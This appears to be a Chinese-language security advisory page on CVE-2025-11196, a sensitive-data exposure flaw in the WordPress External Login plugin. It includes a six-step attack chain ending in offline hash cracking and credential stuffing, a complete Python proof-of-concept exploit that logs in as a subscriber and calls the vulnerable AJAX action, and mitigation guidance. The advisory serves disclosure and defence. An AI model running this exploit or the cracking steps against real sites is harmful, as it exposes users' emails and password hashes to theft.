IPBUF安全漏洞报告
English
CVE-2025-11196 CVSS 4.3 中危

CVE-2025-11196 WordPress External Login插件敏感信息泄露漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-11196
漏洞类型
敏感信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress External Login插件

相关标签

WordPressExternal Login信息泄露AJAX漏洞权限绕过敏感数据暴露密码哈希泄露CVE-2025-11196中危漏洞插件漏洞

漏洞概述

CVE-2025-11196是WordPress External Login插件中存在的一个敏感信息泄露漏洞。该漏洞影响所有1.11.2及以下版本,由WordFence安全团队的安全研究员发现并于2025年10月15日公开披露。External Login插件是一款用于WordPress站点的扩展工具,允许管理员配置外部数据库进行用户认证和登录管理。该插件提供了一个名为'exlog_test_connection'的AJAX诊断功能,用于测试与外部数据库的连接状态。然而,该AJAX动作在实现过程中存在严重的安全缺陷,完全缺乏权限检查(capability checks)和Nonce验证机制,这意味着任何已认证的用户(包括最低权限的订阅者Subscriber级别)都可以直接调用该AJAX端点。攻击者利用此漏洞可以查询站点管理员配置的外部数据库,并通过诊断测试结果视图获取其中存储的用户名(截断形式)、电子邮件地址以及密码哈希等敏感信息。由于许多组织使用External Login插件将WordPress与现有的企业用户数据库(如LDAP后端、MySQL数据库等)集成,泄露的密码哈希可能被离线破解,从而导致更大范围的安全风险。该漏洞的CVSS 3.1评分为4.3,属于中等严重等级,攻击向量为网络,攻击复杂度低,需要低权限认证,但无需用户交互,主要影响机密性。

技术细节

从技术层面分析,该漏洞的根源在于WordPress AJAX端点的不安全实现。WordPress使用AJAX机制(admin-ajax.php)处理前后端交互,开发者通常需要通过current_user_can()函数进行权限检查,并使用wp_create_nonce()和check_ajax_referer()进行CSRF保护。然而,External Login插件在实现'exlog_test_connection' AJAX动作时,完全省略了这些安全检查。具体的技术细节如下:

1. 漏洞入口位于options/testing_ajax.php文件,该文件注册了'exlog_test_connection' AJAX动作的处理函数。
2. 处理函数直接接受用户提交的数据库连接参数,并尝试连接外部数据库进行测试。
3. 连接成功后,函数会执行测试查询(如SELECT查询),并将结果(包括数据库中的用户记录)返回给调用者。
4. 视图文件views/test_results.php负责格式化输出这些测试结果,其中包含了从外部数据库获取的用户名、邮箱和密码哈希信息。
5. 由于缺少权限检查,任何已登录用户(包括Subscriber级别的低权限用户)都可以通过构造AJAX请求调用此端点。

利用方式相对简单:攻击者首先需要拥有一个有效的WordPress订阅者级别账户(可通过自行注册获得),然后构造一个POST请求到/admin-ajax.php,指定action=exlog_test_connection,并附带必要的参数,即可触发诊断测试并获取外部数据库中的敏感信息。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者通过WordPress站点的公开注册功能(或通过其他方式)注册一个订阅者(Subscriber)级别的账户。这是利用该漏洞的最低权限要求。
STEP 2
步骤2:登录WordPress站点
使用获取的订阅者账户登录目标WordPress站点,获取有效的认证Cookie(wordpress_logged_in_*)。
STEP 3
步骤3:构造AJAX请求
向/wp-admin/admin-ajax.php发送POST请求,指定action=exlog_test_connection,并附带外部数据库连接参数。由于该端点缺少权限检查和Nonce验证,服务器将直接处理该请求。
STEP 4
步骤4:触发诊断测试
插件的处理函数会使用攻击者提供的参数连接外部数据库,并执行测试查询,从外部用户表中提取数据。
STEP 5
步骤5:提取敏感信息
诊断测试结果通过视图文件返回给攻击者,其中包含外部数据库中的截断用户名、电子邮件地址以及密码哈希等敏感信息。
STEP 6
步骤6:离线破解密码哈希
攻击者获取密码哈希后,可以使用hashcat、John the Ripper等工具进行离线暴力破解,恢复明文密码,进而尝试在其他系统中进行凭证填充攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11196 PoC - External Login Plugin Sensitive Information Exposure # Vulnerability: Missing capability checks and nonce validation in 'exlog_test_connection' AJAX action # Affected: External Login plugin for WordPress <= 1.11.2 # Required: Subscriber-level authenticated access import requests class Exploit: def __init__(self, target_url, username, password): self.target_url = target_url.rstrip('/') self.session = requests.Session() self.username = username self.password = password self.ajax_url = f"{self.target_url}/wp-admin/admin-ajax.php" def login(self): """Authenticate as a subscriber-level user""" login_data = { 'log': self.username, 'pwd': self.password, 'wp-submit': 'Log In', 'redirect_to': f"{self.target_url}/wp-admin/", 'testcookie': '1' } # Set test cookie first (required by WordPress) self.session.get(f"{self.target_url}/wp-login.php") self.session.cookies.set('wordpress_test_cookie', 'WP%20Cookie%20check') response = self.session.post( f"{self.target_url}/wp-login.php", data=login_data, allow_redirects=False ) if 'wordpress_logged_in' in self.session.cookies.get_dict(): print("[+] Successfully logged in") return True print("[-] Login failed") return False def exploit(self): """Trigger the vulnerable AJAX endpoint to extract sensitive data""" # The exlog_test_connection AJAX action lacks capability checks # It accepts connection parameters and returns database test results # including truncated usernames, emails, and password hashes payload = { 'action': 'exlog_test_connection', # Parameters may vary based on plugin configuration 'db_host': 'localhost', 'db_name': 'external_users', 'db_user': 'ext_user', 'db_pass': 'ext_pass', 'db_table': 'wp_users' } response = self.session.post(self.ajax_url, data=payload) if response.status_code == 200 and response.text: print("[+] Sensitive data extracted:") print(response.text) return response.text print("[-] Exploit failed") return None if __name__ == "__main__": # Usage example exploit = Exploit( target_url="https://target-wordpress-site.com", username="subscriber_user", password="subscriber_password" ) if exploit.login(): exploit.exploit()

影响范围

External Login for WordPress <= 1.11.2

防御指南

临时缓解措施
在等待官方修复版本发布期间,建议采取以下临时缓解措施:1)通过修改主题functions.php文件或使用代码片段插件,移除'exlog_test_connection' AJAX动作的注册(使用remove_action函数);2)在.htaccess或Web服务器配置中限制/admin-ajax.php对未授权IP的访问;3)临时禁用External Login插件的诊断测试功能;4)监控WordPress站点的访问日志,识别可疑的exlog_test_connection请求;5)如果可能,限制WordPress站点的用户注册功能,防止攻击者获取低权限账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表